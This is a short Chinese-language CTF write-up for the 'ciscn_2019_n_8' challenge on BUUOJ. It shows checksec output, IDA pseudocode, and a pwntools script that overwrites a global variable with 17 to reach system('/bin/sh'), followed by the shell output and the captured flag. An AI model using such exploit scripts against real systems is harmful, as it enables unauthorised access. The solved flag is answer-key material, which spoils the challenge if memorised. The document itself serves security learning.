比较简单的pwn

思路

checksec

```
[*] '/home/giantbranch/Desktop/ctf/ciscn_2019_n_8'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
root@ubuntu:/home/giantbranch/Desktop/ctf#
```

啥保护都开了

看看ida

```
🔋 IDA View-A 🗵 📭 Pseudocode-A 🔼 🔘 Hex View-1 🖂 🗚 Structures 🖾 賠
    int v5; // [esp-10h] [ebp-1Ch]
 5
 6
    var[13] = 0;
 7
    var[14] = 0;
 8
    init();
 9
    puts("What's your name?");
     __isoc99_scanf("%s", var, v4, v5);
10
    if ( *(_QWORD *)&var[13] )
11
12
       if ( *(_QWORD *)&var[13] == 17LL )
13
14
         system("/bin/sh");
15
       else
         printf(
16
           "something wrong! val is %d",
17
18
           var[0],
19
           var[1],
           var[2],
20
21
           var[3],
22
           var[4],
23
           var[5],
24
           var[6],
25
           var[7],
```

只要var[13]=17即可获得shell

```
from pwn import *
io = remote('node3.buuoj.cn',26497)
payload = 'a'*52+p64(17)
io.sendline(payload)
io.interactive()
```

值得注意的是var是dd类型的数字

因此需要发4*13=52个随机字符串,以及一个8字节的17

```
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
∮ргос
pwn
root
run
sbin
srv
sys
tmp
usr
var
 cat flag
flag{4183230f-1643-4981-98f7-15ece33edd92}
[*] Got EOF while reading in interactive
```